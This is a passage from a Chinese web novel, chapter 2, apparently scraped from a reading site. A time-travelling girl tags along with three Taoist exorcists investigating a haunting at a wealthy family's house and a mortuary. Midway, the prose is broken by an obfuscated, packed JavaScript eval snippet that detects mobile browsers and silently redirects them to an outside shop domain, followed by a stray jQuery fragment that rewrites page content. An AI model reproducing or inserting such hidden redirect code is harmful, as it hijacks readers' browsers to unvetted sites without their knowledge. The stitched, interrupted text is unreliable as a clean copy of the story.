2. 第 2 章
    下了山,天色已然不早了。

    城中依旧人来人往,五彩斑斓的八角灯、荷花灯、葫芦灯等形态各异的灯笼缀在家家户户门头和路两边,氤氲出温暖的柔光。街上有卖东西的,也有表演杂耍的,更多的是无事闲逛的。

    技人含上一口烈酒,冲着燃烧的火把倏而喷出,霎时间,气势磅礴的橘红火龙直冲天际,为漆黑夜空留下一抹亮色。周围人拍手叫好,林姝看的入迷,不觉也鼓起掌来。

    方明宿见她喜欢,背着人走近些瞧了会儿。

    再往前是一座青石板铺就的石桥,桥下有撑船而过的老翁和河边洗衣的三两妇女,还有结伴游玩的男女恋人亦或是知心好友。

    踏过石桥,四人一路向西僻静处,来到县衙。沈寤生向门口衙役说明来意后就被放了进去。

    县令从几日前的早晨便在等他们,等到今日傍晚,人总算回来了,赶紧迎上去问情况。

    沈寤生将蛛妖已除的消息带给他,县令明显松了口气,也有了心思注意其他。

    他看到方明宿背上的林姝有些眼生,便问:“这位是……”

    沈寤生道:“师妹。她的脚受了伤,可否请一名大夫。”

    “自然可以。”县令当即派人去请大夫。

    林姝被安置在衙门用做休息的耳房,大夫来给她处理伤口,没一会儿,又有人给她送了鞋袜。

    林姝自己擦过药,稍微晾了晾脚,便等不及套上鞋袜一瘸一拐出去寻觅三人的踪迹。

    实在不能怪她“小人之心度君子之腹”,她太没安全感了,真的非常非常害怕几人将她扔下不管。

    寻过来时,三人正和县令交谈。陈瑟扶住林姝,问她怎么不在屋里休息,林姝心道怕你们把我扔了,实际开口却说:“屋里太闷了,脚也没多疼,我出来走走。”

    陈瑟点点头,算是认可了她的说法,继续认真听县令说事,林姝也凑了个热闹。

    县令正在讲的是一桩关于城东张府的闹鬼事件。

    张家是永康城中数一数二的富户,早年制衣为生,靠着一点点的积累,如今开了城中最大的布庄。

    张家老爷名叫张富生,由于生平乐善好施,大家也叫他张大善人。张老爷妻子早逝,膝下只有一个女儿,叫张倩倩,昏迷足有三日。

    至于为何说是闹鬼,乃是因为张小姐昏迷后,张府接连死了两个家丁,尸体被找到时俱是面目全非,全身的血都被吸干了。

    两件事加起来,这才疑心闹鬼。张老爷听说有厉害的捉妖人,昨日还来找过,可惜当时沈寤生他们在山上捉蛛妖,便耽搁到现在。

    听完讲述,林姝有些害怕地咽了咽口水。她丝毫不怀疑有鬼的真实性,毕竟连妖都有了。

    只是……只是,妖精起码是别的物种变得,细想起来没那么可怕。但鬼不一样,鬼是人变得。

    她看的第一部恐怖片就是某村老尸,一想到会有“楚人美”出现在现实中,林姝后背凉嗖嗖的,汗毛都要竖起来了。

    陈瑟见她脸色发白,关切问道,“是不是脚疼了,我送你回去。”

    林姝死死抱住她的手,若说刚刚是怕人跑才出来,现在却是不敢独自在房中待着。

    “没事,我想在外边再待会儿。”

    说话间,沈寤生和县令已经谈完了,他嘱咐方明宿和陈瑟今晚好好休息,明日一早便去张府查探情况。

    听到没自己什么事,林姝心中划过一丝伤心,她也想跟着做点事,当个人形挂件也太废物了。

    一直跟着人家白吃白喝,别说人家看她不爽,她自己也看不起自己。

    “我。”只是嘴里刚吐出一个字,沈寤生便好像提前预见她要说话似的,脚步飞快地提着方明宿进了另一间耳房。

    没两秒,门啪嗒一声关了,声音之响,像是故意做给某人听的。

    见此情景,林姝咬紧了后槽牙。

    陈瑟丝毫没有察觉出不对,挽起她的胳膊,打了个哈欠道,“咱们也休息吧。”

    林姝虽心有不甘,但人家表态如此明显,总不能直接闯进去。

    不过没关系,上有政策下有对策嘛!不让她去,那她明天就早早起来蹲点,不信跟不上。

    翌日,天光未亮,外头黑洞洞的,林姝醒的甚至比鸡鸣还早了些。陈瑟还睡着,轻浅绵长的呼吸声在她耳边起起伏伏。

    她是被梦惊醒的。

    梦里林姝回到了穿越的那个晚上,像往常一样吃过饭洗完脸,随便找了个小说,边听边擦保湿乳。忽然眼前一黑,等再有意识的时候,就从天上掉到了这里。

    这梦让她想起件重要的事,难怪听着陈瑟几人的名字会有点耳熟,他们不就是她听的小说里的主角团队嘛!

    合着她是穿书了!!!

    小说剧情是怎么写的来着,林姝仔细回想……哎呀,她只听了两章,根本没什么有用信息。

    但她完整看了简介,简介是主角四人团,三个道士外加一个异世之魂,异世之魂身负特殊血脉,是开启什么东西的钥匙……具体啥东西,她给忘了。

    异世之魂,异世之魂……

    等等,林姝猛然反应过来,这异世之魂不会说的就是她吧!

    别说,还真有可能。

    但很快林姝又自我否认了,人家说身怀特殊血脉,她就一普通人,哪有什么特殊血脉。

    那如果不是她的话,难道还会再来一个穿越者?

    想着想着,不知不觉天便亮了。

    陈瑟睁开眼就看到身边人一副面色凝重的样子。

    “早啊。”陈瑟打着哈欠,看起来还没睡醒,迷迷瞪瞪的。

    “早。”林姝回她。

    二人一同起床,洗漱完去吃早饭,沈寤生不知是什么时候起的,等她两过去的时候已经吃完了,慢悠悠喝茶。方明宿手里的饼也下去一半。

    只是他看起来比陈瑟还瞌睡,吃着吃着,差点把脸埋到粥碗,百分百是沈寤生强行把人提溜起来的。

    用完饭,沈寤生喊着陈瑟和方明宿一起离开,林姝一抹嘴厚着脸皮跟上去。

    快到门口时,沈寤生叫住她,眼神讥诮,十分不客气地问,“我并未叫你,跟着作甚?”

    林姝眨巴着圆圆的猫儿眼,真诚回答,“我想帮忙。”

    陈瑟也不太赞同,他们要四处查探,走的多了对她脚没好处,便说:“林姝,你脚还没好,今日就安心待在县衙吧。”

    “我好了。”林姝说着,原地大跳两下又跑了几步,“你们看,一点事儿都没有。”

    陈瑟惊异,“真的?”,未免好的也太快了。

    “真的,从小医生,哦不,大夫就说我体质好,身体棒!”

    林姝竖起大拇指。

    这下陈瑟没话说了,白天调查一般是无甚危险的,让她跟着也行。

    “那跟着吧。”嘴比脑子先行一步。

    “好耶!”林姝高兴地抱住她。

    沈寤生闻言“啧”了一声,转而瞪视陈瑟。陈瑟尴尬地挠挠头,干笑两声,拉着林姝走到前头。

    ……

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222523|151235||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “喂,有人吗?”方明宿第三次上前叩响门环,宅内依旧无人应答。

    “不是,让我们来捉鬼,人去哪儿了?”起个大早,结果连大门都进不去,方明宿有些不高兴。

    又等了会儿,遥遥听到门内有人在跑,那声音由远及近,喊着“来了来了”。

    紧接着大门被推开,是个气喘吁吁的老妇,面带歉意道,“失礼了,各位道长。最近这两天府里不安生,老爷让一部分家丁暂时回家去了,故而人手不够。”

    沈寤生微微颔首,“可以理解。”

    林姝心想,这张老爷人真挺好,没有因为要人伺候强行将家丁留下,难怪外面都叫他张大善人。

    四人被迎进宅邸,穿过假山回廊直接带到张倩倩屋外。

    老妇边敲门,边解释,“老爷这两日一直守着小姐。”

    “咚咚”声结束,屋门朝内打开,衣着华贵、慈眉善目却满面愁容的中年男人出现在门口。男人先是打量了他们,随后侧身让众人入内。

    “几位道长,家里发生的事想必柳县令已经同你们说过,我就不多赘述了,床上躺着的正是小女倩倩。”

    轻纱粉被中躺着一身鹅黄寝衣的单薄身影,女子长发披散,双目紧闭,面无血色,连呼吸都很微薄。

    看着不像昏迷,倒像死了一样。

    林姝突然打了个寒战,抚摸着胳膊搓了两下,奇怪,明明是大夏天,这屋里怎么好像比外头凉似的。

    沈寤生走到床边,拿出一盏没有灯芯的琥珀琉璃盏凑近张倩倩面庞,不消片刻,灯盏亮起一团非同寻常的幽绿色火焰,拿开后,那火焰又消失。

    “哇,好厉害。”林姝嘴巴张圆了感叹。

    张老爷面露疑惑,“这位是……”

    沈寤生把灯收起来,语气凉凉,“师妹贪玩,学艺不精,还望见谅。”

    意识到自己说错话了,林姝赶紧把嘴合上。

    “令千金身上确有鬼气缠绕。”沈寤生问,“死去家丁尸体何在?我需要确认他们的死因是否也与此有关。”

    张老爷说原本准备下葬,又觉得可能会对捉鬼有用,便暂时停在了义庄。

    问了位置,四人又去义庄。

    义庄在东郊,几乎快要出城了,光走就走了半个时辰。

    林姝在学校除了吃饭、上课,就不出宿舍,八百米跑能及格都是谢天谢地,脚力自然不行。

    人家三个脸不红气不喘,她倒好,两股战战,四肢发软,脑袋昏昏,靠着义庄外墙差点没倒下去。

    偏偏方明宿情商极低地扎她心,说道:“感觉也没多远,林姝,你累了吗?”

    “不,不累。”林姝咬牙挤出一抹微笑,“快进去吧。”

    义庄不大,门头挂着两个白纸灯笼,进了小院能闻到淡淡的腐臭味,停尸房看起来有些年头,门窗都有不同程度的风化腐蚀。地上也有许多污渍,有红有黑,一层盖着一层,看不出原本的样子。

    看守义庄的老人躺在藤椅上晒太阳,一听找张府的尸体,也没起身,随手指了指,便转个身继续晒太阳。

    沈寤生将两具棺材一起打开,恶臭扑鼻而来,林姝都没往前凑,就受不了了,飞奔出屋子支着墙根大吐特吐。

    方明宿也没忍住,跑到她身边一起,二人差点没把胆囊吐出来。

    陈瑟反应比较小,干呕了好几声,起码没吐出来。最厉害的是沈寤生,面不改色就算了,还拿出琉璃盏往前凑了凑。

    就这一点,林姝佩服的五体投地,是个狠人。